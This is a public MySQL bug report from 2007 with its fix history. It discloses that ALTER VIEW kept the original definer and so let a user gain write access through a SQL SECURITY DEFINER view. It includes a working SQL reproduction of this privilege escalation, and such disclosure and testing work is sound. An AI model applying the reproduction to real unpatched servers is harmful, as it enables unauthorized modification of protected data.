Bug #29908 alter view keeps current definer, user can gain additioanl access
Submitted: 19 Jul 2007 17:57 Modified: 31 Oct 2007 1:18
Reporter: Martin Friebe (Gold Quality Contributor) (OCA) Email Updates:
Status: Closed Impact on me:
Category:MySQL Server Severity:S3 (Non-critical)
Version:5.1.21 5.0.46 OS:FreeBSD
Assigned to: Evgeny Potemkin CPU Architecture:Any
Tags: backport_050050SP1, grant, VIEW

[19 Jul 2007 17:57] Martin Friebe
If you alter a view, it keeps it current definer, and security.

This can be used to gain additional access.

Assume a user with:
- read access to a schema "db1".
- write access to a schema "db2"
- write access to ONE column "a" (with limitation to certain rows) through a view in db2 
  access to the table is given through SQL SECURITY DEFIENER
- the privilege to ALTER views (CREATE VIEW, DROP) in db2

the user can only insert update rows in db1.t1 as restricted by the views condition.

creating a new view will not grant him additional access to the table (as securit will be invoker)

BUT altering the existing view, will grant that access (as security and definer are kept)

This means the user can get write access to any table that he has read access to.

How to repeat:
drop database if exists db1;
drop database if exists db2;

create database db1;
create database db2;

create table db1.t1 (a int, b int);
create SQL SECURITY DEFINER view db2.v1 as select a from db1.t1 where a > 10 WITH CHECK OPTION;

create user 'u1'@'localhost';
grant SELECT on db1.* to 'u1'@'localhost';
grant SELECT, INSERT, UPDATE on db2.* to 'u1'@'localhost';
grant CREATE VIEW, DROP on db2.* to 'u1'@'localhost';

connect (conn1, localhost, u1, , db1);
connection conn1;

# not allowed a out of permitted range
--error 1369
insert into db2.v1 (a) values(1);

# cant create a view of his own to get full access t1
create view db2.v2 as select a,b from db1.t1;
--error 1356
insert into db2.v2 select 1,2;

# can alter existing view to gain full access to t1
alter view db2.v1 as select a,b from db1.t1;
insert into db2.v1 select 1,2;
select * from db1.t1;

connection default;

show create view db2.v1; # definer and security are unchanged

Suggested fix:
If a view is altered the definer should be changed.

"create or replace view" has the same issue
[19 Jul 2007 23:32] MySQL Verification Team
Thank you for the bug report.
[20 Sep 2007 16:06] Bugs System
A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:


ChangeSet@1.2526, 2007-09-20 18:05:09+04:00, evgen@sunlight.local +3 -0
  Bug#29908: A user can gain additional access through the ALTER VIEW.
  Non-definer of a view was allowed to alter that view. Due to this the alterer
  can elevate his access rights to access rights of the view definer and thus
  modify data which he wasn't allowed to modify. A view defined with
  SQL SECURITY INVOKER can't be used directly for access rights elevation.
  But a user can first alter the view SQL code and then alter the view to 
  SQL SECURITY DEFINER and thus elevate his access rights. Due to this
  altering a view with SQL SECURITY INVOKER is also prohibited.
  Now the mysql_create_view function allows ALTER VIEW only to the view
  definer or a super user.
[29 Oct 2007 8:43] Bugs System
Pushed into 5.0.52
[29 Oct 2007 8:46] Bugs System
Pushed into 5.1.23-beta
[29 Oct 2007 8:50] Bugs System
Pushed into 6.0.4-alpha
[31 Oct 2007 1:18] Paul DuBois
Noted in 5.0.52, 5.1.23, 6.0.4 changelogs.

ALTER VIEW retained the original DEFINER value, even when altered by
another user, which could allow that user to gain the access rights 
of the view. Now ALTER VIEW is allowed only to the original definer
or users with the SUPER privilege.
[12 Dec 2007 10:55] Norbert Tretkowski
When applying the patch to 5.0.51 and running the testsuite, the view_grant test fails.
[12 Dec 2007 10:56] Norbert Tretkowski
view_grant failure

Attachment: view_grant-failure.log (text/x-log), 1.41 KiB.

[12 Dec 2007 14:12] Norbert Tretkowski
The testsuite problem is fixed in 5.0-bk already.
[6 May 2009 20:23] Bugs System
Pushed into 5.0.82 (revid:chad@mysql.com-20090506130632-s1cl4ygdj9rt2rrz) (version source revid:chad@mysql.com-20090506130632-s1cl4ygdj9rt2rrz) (merge vers: 5.0.82) (pib:6)
[28 May 2009 8:19] Bugs System
Pushed into 5.1.36 (revid:joro@sun.com-20090528073639-yohsb4q1jzg7ycws) (version source revid:jimw@mysql.com-20090515174051-ndjvfd1e9hc9k9c3) (merge vers: 5.1.36) (pib:6)
[17 Jun 2009 19:23] Bugs System
Pushed into 5.4.4-alpha (revid:alik@sun.com-20090616183122-chjzbaa30qopdra9) (version source revid:joro@sun.com-20090515134506-5mq3a8fafgbkx6u1) (merge vers: 6.0.12-alpha) (pib:11)
[26 Aug 2009 13:46] Bugs System
Pushed into 5.1.37-ndb-7.0.8 (revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (version source revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (merge vers: 5.1.37-ndb-7.0.8) (pib:11)
[26 Aug 2009 13:46] Bugs System
Pushed into 5.1.37-ndb-6.3.27 (revid:jonas@mysql.com-20090826105955-bkj027t47gfbamnc) (version source revid:jonas@mysql.com-20090826105955-bkj027t47gfbamnc) (merge vers: 5.1.37-ndb-6.3.27) (pib:11)
[26 Aug 2009 13:48] Bugs System
Pushed into 5.1.37-ndb-6.2.19 (revid:jonas@mysql.com-20090825194404-37rtosk049t9koc4) (version source revid:jonas@mysql.com-20090825194404-37rtosk049t9koc4) (merge vers: 5.1.37-ndb-6.2.19) (pib:11)
[27 Aug 2009 16:32] Bugs System
Pushed into 5.1.35-ndb-7.1.0 (revid:magnus.blaudd@sun.com-20090827163030-6o3kk6r2oua159hr) (version source revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (merge vers: 5.1.37-ndb-7.0.8) (pib:11)